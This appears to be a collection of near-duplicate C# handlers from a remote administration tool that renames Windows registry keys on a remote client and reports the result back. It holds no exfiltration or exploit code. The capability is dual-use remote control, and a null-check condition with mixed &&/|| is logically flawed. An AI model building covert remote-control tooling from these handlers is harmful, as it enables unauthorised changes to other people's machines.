private void Execute(ISender client, GetRenameRegistryKeyResponse message) { if (!message.IsError) { OnKeyRenamed(message.ParentPath, message.OldKeyName, message.NewKeyName); } else { OnReport(message.ErrorMsg); } }
public static void HandleRenameRegistryKey(GetRenameRegistryKeyResponse packet, Client client) { try { // Make sure that the client is in the correct state to handle the packet appropriately. if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.RenameKey(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }
public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Networking.Client client) { GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); string errorMsg; try { responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.ParentPath = packet.ParentPath; responsePacket.OldKeyName = packet.OldKeyName; responsePacket.NewKeyName = packet.NewKeyName; client.Send(responsePacket); }
private void Execute(ISender client, DoRenameRegistryKey message) { GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); string errorMsg; try { responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.ParentPath = message.ParentPath; responsePacket.OldKeyName = message.OldKeyName; responsePacket.NewKeyName = message.NewKeyName; client.Send(responsePacket); }
public static void HandleRenameRegistryKey(GetRenameRegistryKeyResponse packet, Client client) { try { if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.RenameKeyFromTree(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }